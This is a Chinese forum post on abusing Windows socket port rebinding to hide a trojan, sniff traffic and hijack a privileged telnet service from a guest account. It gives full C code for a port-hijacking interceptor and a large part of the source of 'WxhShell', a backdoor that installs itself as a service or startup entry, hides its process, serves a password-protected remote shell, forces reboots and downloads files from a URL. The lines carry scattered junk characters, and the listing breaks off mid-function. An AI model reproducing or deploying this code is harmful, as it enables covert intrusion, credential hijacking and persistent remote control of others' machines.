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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8as$h*W h  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;N> {1  
"`V"2zZlj  
  saddr.sin_family = AF_INET; ^bY^x+d  
K"t:B  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); eKU@>5  
8)ebXc  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l{D,O?`Av  
G*{u(x(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f"Vm'0r  
-?2&5YB  
  这意味着什么?意味着可以进行如下的攻击: X,C/x)  
nJM9c[Ou^H  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 y<Z#my$`|n  
Cs6zv>SR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) dmTW]P2  
G74a9li@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]'bQ(<^#  
nfCd*f  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  zei9,^ C  
b|V4Fp  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D^T7pO  
BSq;R G(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `hQ!*f6  
}GU6Q|s[u[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 sQ3ayB`  
S:B- nI  
  #include ngH~4HyT  
  #include c?3F9 w#  
  #include 19YJ`(L`x  
  #include    VgC9'"|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;29XvhS8  
  int main() D+vl%(g  
  { $M8>SLd  
  WORD wVersionRequested; ^w.(*;/  
  DWORD ret; j8ohzX[Y  
  WSADATA wsaData; .AmM%I4K  
  BOOL val; "< hx  
  SOCKADDR_IN saddr; f >, Qhl  
  SOCKADDR_IN scaddr; #uRq] 'P  
  int err; cO"Xg<#y  
  SOCKET s; ]@j"0F/`  
  SOCKET sc; -T>wi J  
  int caddsize; `QyALcO   
  HANDLE mt; J1v0 \  
  DWORD tid;   lLwQridFXh  
  wVersionRequested = MAKEWORD( 2, 2 ); \`iW__  
  err = WSAStartup( wVersionRequested, &wsaData ); r+W 8m?oi  
  if ( err != 0 ) { aR(Z~z;C  
  printf("error!WSAStartup failed!\n"); q0KXuMK  
  return -1; J9KLO=  
  } bZ@53  
  saddr.sin_family = AF_INET; Xy(SzJ %  
   D*2p  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $d"f/bRWy  
1 069]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); i6\!7D]  
  saddr.sin_port = htons(23); Y_ ;i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >|o9ggL`J5  
  { & b^*N5<Z  
  printf("error!socket failed!\n"); B,na  
  return -1; x2IU PM  
  } JI#Enh!Lv  
  val = TRUE; L|xen*O  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &.bR1wX  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *U^\Mwp  
  { "GC]E8&>H  
  printf("error!setsockopt failed!\n"); u g$\&rM>  
  return -1; Z=5}17kA  
  } YPJx/@Z`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; uP'w.nA&2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -~GJ; Uw  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %K f . F  
yp/V 8C  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) JU,RO oz(  
  { Hn]n]wsLy  
  ret=GetLastError(); nJ0eZBgB]  
  printf("error!bind failed!\n"); z o))x(  
  return -1; QRG)~  
  } GWE0 UO}  
  listen(s,2); R (Pa Q  
  while(1) ^HN  
  { [ BC%$Sj  
  caddsize = sizeof(scaddr); ii] =C(e9  
  //接受连接请求 ~^ 5n$jq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9QQ@Y}  
  if(sc!=INVALID_SOCKET) CR PE?CRQF  
  { :W<,iqSCm  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); WHj4#v(  
  if(mt==NULL) C-b%PgA  
  { $j2)_(<A%Q  
  printf("Thread Creat Failed!\n"); +mW$D@Pf  
  break;  #=~1hk  
  } TOF62,  
  } 3V!&y/c<  
  CloseHandle(mt); D$!p+Q  
  } + T-zf@j  
  closesocket(s); &Or=_5Y`  
  WSACleanup();  G#n)|p  
  return 0; 5z mHb  
  }   c]v3dHE_h  
  DWORD WINAPI ClientThread(LPVOID lpParam) }Z$G=;3#  
  { v2X0Px_  
  SOCKET ss = (SOCKET)lpParam; F3|pS:  
  SOCKET sc; ] Sx= y<  
  unsigned char buf[4096]; |DS@90}  
  SOCKADDR_IN saddr; F?AfB[PM  
  long num; l7y`$8Co  
  DWORD val; )0V]G{QN  
  DWORD ret; 6@*;Wk~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `Ta(P30  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    KGwL09)  
  saddr.sin_family = AF_INET; \ #c+vfq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r!gCh`PiK  
  saddr.sin_port = htons(23); <>/MKMq!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^* v{t?u  
  { "X}F%:HL  
  printf("error!socket failed!\n"); mSw?iL  
  return -1; 9nAK6$/  
  } QN8Hz/}\  
  val = 100; 5va&N<U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gJ~*rWBK:  
  { U$J_:~  
  ret = GetLastError(); { RX|  
  return -1; jY6=+9Jz5  
  } ;m:GUp^[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8VGXw;(Y,d  
  { (mr` ?LI}  
  ret = GetLastError(); @[Qg}'i  
  return -1; l0 :xQV`  
  } y:zT1I@>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) L"<Eov6  
  { A;HKR4p;8  
  printf("error!socket connect failed!\n"); h#;K9#x6  
  closesocket(sc); i4C b&h^  
  closesocket(ss); QjbPBk Q  
  return -1; vX24W*7  
  } 84\o7@$#  
  while(1) `mTxtuid{  
  { `l#$l3v+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 QHz76i!=>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 p<['FRf"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !+ hgKZ]  
  num = recv(ss,buf,4096,0); vXZz=E AH  
  if(num>0) Z"KuS  
  send(sc,buf,num,0); MpvA--  
  else if(num==0) U4pvQE.m<  
  break; R@aT=\u+  
  num = recv(sc,buf,4096,0); `3s-\>  
  if(num>0) 6_><W"r:]  
  send(ss,buf,num,0); (pNng"/  
  else if(num==0) V]cY+4Y  
  break; 1OeDWEcB  
  } )O(Gw-jWE  
  closesocket(ss); u <2sb;a  
  closesocket(sc); 7ij=%if2@k  
  return 0 ; gZ  Si\m>  
  } OB@t(KNx*P  
-^"?a]B  
`W S  
========================================================== [6qP;  
$X]v;B)J|  
下边附上一个代码,,WXhSHELL z:7F5!Z  
?bA]U:  
========================================================== 9}_f\Bs  
DYl{{L8@  
#include "stdafx.h" `t2! M\)  
CU&,Kq@  
#include <stdio.h> 9xp ;$14  
#include <string.h> |?W   
#include <windows.h> 8{ e 3  
#include <winsock2.h> ;S j* {  
#include <winsvc.h> ^yZEpQN_  
#include <urlmon.h> I2Rp=L:z5  
tTamFL6  
#pragma comment (lib, "Ws2_32.lib") <a3XV  
#pragma comment (lib, "urlmon.lib") )$g /PQ  
N^at{I6C  
#define MAX_USER   100 // 最大客户端连接数 KPqI(  
#define BUF_SOCK   200 // sock buffer =MLL-a1  
#define KEY_BUFF   255 // 输入 buffer ir?9{t/()  
Ip-jqN J~  
#define REBOOT     0   // 重启 }H.vH  
#define SHUTDOWN   1   // 关机 cv1L!Ce,  
go5!zSs  
#define DEF_PORT   5000 // 监听端口 J z b".A  
>f/g:[  
#define REG_LEN     16   // 注册表键长度 t$|6} BX  
#define SVC_LEN     80   // NT服务名长度 C[,-1e?  
?J-KB3Uv3  
// 从dll定义API C"WZsF^3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (#`o >G(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YT8`Vz$+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8A_(]Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n\Nl2u& m  
/Qy0vAvJ  
// wxhshell配置信息 np(<Ap r  
struct WSCFG { $ 7!GA9Bn  
  int ws_port;         // 监听端口 5}ah%  
  char ws_passstr[REG_LEN]; // 口令 Dh<e9s:  
  int ws_autoins;       // 安装标记, 1=yes 0=no T]`" Xl8  
  char ws_regname[REG_LEN]; // 注册表键名 SO"P3X  
  char ws_svcname[REG_LEN]; // 服务名 1)ne-e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #Xly5J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iDJ2dM}v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u> Hx#R<*%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X=~QE}x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |7'W)s5.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GK+w1%6)  
 `SrVMb(  
}; sqRuqUj+  
G= e[TR)i  
// default Wxhshell configuration :8 :>CHa  
struct WSCFG wscfg={DEF_PORT, Nx'j+>bz>y  
    "xuhuanlingzhe", K6oLSr+EAK  
    1, Hy'&x?F6  
    "Wxhshell", ]ghPbS@  
    "Wxhshell", ^lj>v}4fkW  
            "WxhShell Service", ~ .-'pdz%  
    "Wrsky Windows CmdShell Service", 0jH2. d=  
    "Please Input Your Password: ", + >j_[O5Y  
  1, g=Jfp$*[  
  "http://www.wrsky.com/wxhshell.exe", &baY[[N  
  "Wxhshell.exe" 6W Zp&pO  
    }; <D}k@M Z  
ww,'n{_  
// 消息定义模块 Ns(F%zkm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @}:(t{>;e7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fJKOuFK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zT"#9"["  
char *msg_ws_ext="\n\rExit."; 9"TPDU7"  
char *msg_ws_end="\n\rQuit."; |.5d^z  
char *msg_ws_boot="\n\rReboot..."; Dlp::U*N'  
char *msg_ws_poff="\n\rShutdown..."; M*%Z5,Tc  
char *msg_ws_down="\n\rSave to "; ;C'*Ui  
+,,~ <Vm  
char *msg_ws_err="\n\rErr!"; bql6Z1l  
char *msg_ws_ok="\n\rOK!"; {;r5]wimb  
m{|n.b  
char ExeFile[MAX_PATH]; v80 e]M!  
int nUser = 0; he@swE&  
HANDLE handles[MAX_USER]; 3V]a "C   
int OsIsNt; |>)mYLN!y  
gC.T5,tn  
SERVICE_STATUS       serviceStatus; GU`2I/R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lKcnM3n  
6*tGf`Pfdw  
// 函数声明 NT0q!r/!  
int Install(void); 3;A AC (X  
int Uninstall(void); -[z;y73]t  
int DownloadFile(char *sURL, SOCKET wsh); fy5)Tih%.*  
int Boot(int flag); 4[D@[k As  
void HideProc(void); zQ~nS  
int GetOsVer(void); TQE_zOa:  
int Wxhshell(SOCKET wsl); S3w? X  
void TalkWithClient(void *cs); lU maNZ  
int CmdShell(SOCKET sock); %?ad.F+7  
int StartFromService(void); -VL3em|0  
int StartWxhshell(LPSTR lpCmdLine); Jh1fM`kB5K  
#\qES7We 6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MeC@+@C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oID, PB*9  
&LE/hA  
// 数据结构和表定义 wbTw\b=  
SERVICE_TABLE_ENTRY DispatchTable[] = <#sK~G  
{ x\WKsc  
{wscfg.ws_svcname, NTServiceMain}, ``{xm1GK  
{NULL, NULL} "Z <1Msz  
}; V0>,Kxk  
> ewcD{bt  
// 自我安装 ? T9-FGW  
int Install(void) p)`JVq,H/B  
{ @xo9'M<l  
  char svExeFile[MAX_PATH]; 7y!{lr=n  
  HKEY key; WukD|BCC  
  strcpy(svExeFile,ExeFile); gU:jx  
-4.+&'  
// 如果是win9x系统,修改注册表设为自启动 Dcq^C LPY  
if(!OsIsNt) { 9#+X?|p+0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pnWDsC~)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~O!v?2it8q  
  RegCloseKey(key); 0[^f9NZ>-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YC{od5a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ] '..G-  
  RegCloseKey(key); umY4tNe]$  
  return 0; o}BaZ|iZ2  
    } OvkYzI`  
  } yfj<P/aA+  
} u7K0m! jW  
else { 1:?Wv DN=  
\7RP6o  
// 如果是NT以上系统,安装为系统服务 qbjRw!2?w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o4xZaF4+  
if (schSCManager!=0) ral0@\T  
{ >Gkkr{s9  
  SC_HANDLE schService = CreateService =Z2sQQVS  
  ( tq{ aa  
  schSCManager, rc"yEI-``"  
  wscfg.ws_svcname, qSON3Iid  
  wscfg.ws_svcdisp, ^vUdf.n9  
  SERVICE_ALL_ACCESS, 9!tRM-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ."${.BPn~  
  SERVICE_AUTO_START, >354O6  
  SERVICE_ERROR_NORMAL, ZDlMkHJ  
  svExeFile, m6s32??m  
  NULL, uv,t(a.^  
  NULL, _|3n h;-m  
  NULL, N G4wtDa  
  NULL, h<[o;E  
  NULL Jf 2  
  ); 6 LC*X  
  if (schService!=0) F[LBQI`zq  
  { RX '( l  
  CloseServiceHandle(schService); HA| YLj?|g  
  CloseServiceHandle(schSCManager); y 2bZo'Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YDP<  
  strcat(svExeFile,wscfg.ws_svcname); D+tn<\LF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6:Ra3!V"v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2|+**BxHD  
  RegCloseKey(key); e(cctC|l  
  return 0; n(&6 E3ZcI  
    } ;sDFTKf  
  } Gt'%:9r  
  CloseServiceHandle(schSCManager); I_4'9  
} P'[w9'B  
} u>}k+8~  
^8DC W`V  
return 1; qjuX1 6o  
} 9M<{@<]dm  
t68h$u  
// 自我卸载 _&P![o)x  
int Uninstall(void) b2hB'!m  
{ ~b*f2UVs  
  HKEY key; V1M oW;&  
k/Z}nz   
if(!OsIsNt) { A#*0mJ8IK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mV6\gR[h  
  RegDeleteValue(key,wscfg.ws_regname); ht ` !@B  
  RegCloseKey(key); \xwE4K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +c?1\{M   
  RegDeleteValue(key,wscfg.ws_regname); XDU&Z2A  
  RegCloseKey(key); lj(}{O  
  return 0; to2dkU  
  } y8VLFe;  
} .xS}/^8iD  
} wUab)L  
else { J=ZNx;{6  
!>+YEZ"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b k 30d  
if (schSCManager!=0) Z3)1!|#Q  
{ S 7RB` I5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,*Jm\u  
  if (schService!=0) 1 %K^(J;  
  { YvRMUT  
  if(DeleteService(schService)!=0) { Gz@'W%6yaV  
  CloseServiceHandle(schService); 1jpcoJ@s  
  CloseServiceHandle(schSCManager); lUbQ@7a<'  
  return 0; a~=$9+?w  
  } ^<Q+=\h  
  CloseServiceHandle(schService); 6p])2]N>p  
  } VU9w2/cM  
  CloseServiceHandle(schSCManager); =otJf~  
} Nw* >$v  
} ND77(I$3s  
se2ay_<F+  
return 1; {fmSmD  
} q,A;d^g  
blEs!/A`  
// 从指定url下载文件 "CX&2Xfe  
int DownloadFile(char *sURL, SOCKET wsh) *%bQp  
{ A70x+mjy^T  
  HRESULT hr; =y.?=`"  
char seps[]= "/"; |p}qK Fdi  
char *token; /z9oPIJ=*  
char *file; h.(CAm%Y7  
char myURL[MAX_PATH]; w-LMV>+6|  
char myFILE[MAX_PATH]; l.Iov?e1S  
|hk?'WGc`0  
strcpy(myURL,sURL); 0j@gC0xu)|  
  token=strtok(myURL,seps); <KlG#7M>  
  while(token!=NULL) eX;C.[&7;8  
  { CvS}U%   
    file=token; Z(k7&^d  
  token=strtok(NULL,seps); ;rC)*=4#  
  } NBU[>P  
\$LrL  
GetCurrentDirectory(MAX_PATH,myFILE); E]/` JI'%  
strcat(myFILE, "\\"); &==X.2XW  
strcat(myFILE, file); hE@s~ ~JYd  
  send(wsh,myFILE,strlen(myFILE),0); $)8b)Tb  
send(wsh,"...",3,0); gTa6%GM>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y%m^V?k  
  if(hr==S_OK) F l@%?  
return 0; {@ ygq-TZ  
else b\& |030+  
return 1; ?VaWOwWI  
lky{<jZ%  
} K =nW|^  
m WN9/+!  
// 系统电源模块 4EQ-48h17  
int Boot(int flag) .sCi9d WR  
{ I:?1(.kd2-  
  HANDLE hToken; lB3@ jF  
  TOKEN_PRIVILEGES tkp; X] cI ?  
I@ "%iYL  
  if(OsIsNt) { ~?`V$G=?,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qD0sD2 x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HE6 kt6  
    tkp.PrivilegeCount = 1; f}qR'ognUu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; av~dH=&=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &iYy  
if(flag==REBOOT) { jg%HaA<zO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \qk+cK;+  
  return 0; apFY//(yu  
} Uskz~~}G  
else { :.u[^_   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ) bRj'*  
  return 0; G>Uam TM  
} pH!e<m  
  } &ZmWR  
  else { ]w*w@:Zk  
if(flag==REBOOT) { JWzN 'a R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ] /w: 5o#  
  return 0; , z8<[Q-#  
} vK@t=d  
else { L!2BE[~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +OM`c7M:  
  return 0; EdgcdSb7  
} lyZ[t PS  
} ! 3&_#VO  
afE`GG-  
return 1; >Z-f</v03  
} p)'.swpJ  
J)yNp,V  
// win9x进程隐藏模块 ii,/omn:  
void HideProc(void) (?[^##03MN  
{ E6 glR  
-`knSR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `GGACH3#s  
  if ( hKernel != NULL ) x|3f$ =b  
  { y<#?z 8P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #RIo6 3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n\CQ-*;l  
    FreeLibrary(hKernel); 6<E4?<O%  
  } 2pu8')'P  
g3*" ^C2=  
return;  J^"  
} BC}+yS \  
X"'c2gaa_  
// 获取操作系统版本 T8*<  
int GetOsVer(void) O:K={#Xj  
{ `VJJ"v<L  
  OSVERSIONINFO winfo; R> r@[$z+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vbXZZ  
  GetVersionEx(&winfo); +*Um:}&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pzL !42  
  return 1; ctqXzM `  
  else _hK83s4  
  return 0; U2~7qC,!Do  
} #a : W  
Nhq& Sn2  
// 客户端句柄模块 gtizgUS7  
int Wxhshell(SOCKET wsl) IYb%f T  
{ <|,0%bq)|  
  SOCKET wsh; 8 oK;Tzh  
  struct sockaddr_in client; P8Nzz(JF  
  DWORD myID; XnBpL6"T`  
Ry5/O?Q L  
  while(nUser<MAX_USER) SiBhf3   
{ =Tdh]0  
  int nSize=sizeof(client); 5|I2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e7fA-,DV  
  if(wsh==INVALID_SOCKET) return 1; S w<V/t  
4d\"gk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >=<qAkk  
if(handles[nUser]==0) '%k<? *  
  closesocket(wsh); c_oI?D9  
else [;IW'cXNq  
  nUser++; <M//zXa  
  } EqY e.dF,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +}MV$X  
auzrM4<tz  
  return 0; )@%wj;>a  
} OIT9.c0h  
W6=j^nv  
// 关闭 socket QEUr+7[  
void CloseIt(SOCKET wsh) mQVc ZV  
{ GQZLOjsop  
closesocket(wsh); ?k6P H"M  
nUser--; >o\s'i[  
ExitThread(0); fWr6f`de  
} S}0W<H P  
Yn0l}=, n  
// 客户端请求句柄 q;Y9_5S  
void TalkWithClient(void *cs) CTqAhL 4}  
{ pH#*:v!)  
/hC[>t<  
  SOCKET wsh=(SOCKET)cs; jQrj3b.NC3  
  char pwd[SVC_LEN]; ^\Bm5QkS  
  char cmd[KEY_BUFF]; vSu|!Xb]  
char chr[1];  pt`^4}  
int i,j; iti~RV,  
QH_0U`3  
  while (nUser < MAX_USER) { o_!=-AWV  
m -{t%[Y  
if(wscfg.ws_passstr) { s`:>"1\|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j\,HquTR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pP1|/f5n`  
  //ZeroMemory(pwd,KEY_BUFF); T?p' R  
      i=0; "K.XoG4|  
  while(i<SVC_LEN) { N k~Xz  
$Vu %4kq  
  // 设置超时 a!`b`r -4  
  fd_set FdRead; 1KH]l336D"  
  struct timeval TimeOut; RC[b+J,q  
  FD_ZERO(&FdRead); OHz>B!`  
  FD_SET(wsh,&FdRead); /zB;1%m-  
  TimeOut.tv_sec=8; H(eGqVAq,  
  TimeOut.tv_usec=0; tb%u<jY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uxbDRlOS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |*~=w J_  
1x\Vz\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =44hI86  
  pwd=chr[0]; vcsrI8+  
  if(chr[0]==0xd || chr[0]==0xa) { xB&kxW.;  
  pwd=0; H9c  
  break; }~8/a3  
  } A578g  
  i++; c&A;0**K,  
    } --ED]S 8  
5&&6e`  
  // 如果是非法用户,关闭 socket W{0gtT0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -jBk  
} fS( )F*J  
?, dbrQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @;T>*_Yhn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'f+g`t?  
Z0f0tL& A<  
while(1) { MNy)= d&<P  
>e]46 K  
  ZeroMemory(cmd,KEY_BUFF); iQrTEp  
XHKVs  
      // 自动支持客户端 telnet标准   (kECV8)2  
  j=0; ZBDEE+8e  
  while(j<KEY_BUFF) { (<u3<40[YN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vV2px  
  cmd[j]=chr[0]; uYh6q1@"~  
  if(chr[0]==0xa || chr[0]==0xd) { gk%8iT  
  cmd[j]=0; 8,E#vQ55}(  
  break; |]qwD,eiH,  
  } 1[QH68  
  j++; $VX<UK$|s  
    } x]({Po4  
oXCZpS  
  // 下载文件 EYwDv4H,g  
  if(strstr(cmd,"http://")) { \u|8MEB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i-Le&  
  if(DownloadFile(cmd,wsh)) 0(owFNUBs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2r+@s g  
  else 6Y#-5oE u/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -:O~J#D  
  } VrV* -J'  
  else { ^':Az6Z  
1' #%U A  
    switch(cmd[0]) {  eRlJ  
  n&?]GyQ  
  // 帮助 Z19d Ted33  
  case '?': { UOWOOdWS B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .x$!Rc}  
    break; (qE*z  
  } 4:!KtpR[O  
  // 安装 #8 N9@  
  case 'i': { 3@k;"pFa<  
    if(Install()) *fBI),bZa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 91oIxW  
    else ~=t, g S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7\'ow|)}v  
    break; IN? A`A  
    } 4<`x*8` ,  
  // 卸载 fo"dX4%}  
  case 'r': { u9AXiv+K  
    if(Uninstall()) 'E/vE0nN?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m"B)%?C#  
    else 0:(`t~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _8Si8+j  
    break; dXKv"*7l  
    } Dh*>361y-  
  // 显示 wxhshell 所在路径 GHQa{@m2V  
  case 'p': { nwd 02tu  
    char svExeFile[MAX_PATH]; :K!@zT=o  
    strcpy(svExeFile,"\n\r"); @@U'I^iG  
      strcat(svExeFile,ExeFile); 3r=IO#  
        send(wsh,svExeFile,strlen(svExeFile),0); cmQLkT"#K  
    break; 9R XT  
    } ~lx5RTkp  
  // 重启 C9-90,  
  case 'b': { {5+t\~q$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RH,(8.&>r  
    if(Boot(REBOOT)) urT!?*g,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `pp"htm   
    else { MKd{ y~'  
    closesocket(wsh); PI7M3\z  
    ExitThread(0); H'uRgBjWJ  
    } 2?LZW14$d  
    break; ArBgg[i  
    } \h6_m)*H4  
  // 关机 dQ*3s>B[  
  case 'd': { whW"cFg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f"h{se8C  
    if(Boot(SHUTDOWN)) a;p3Me7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;0V{^  
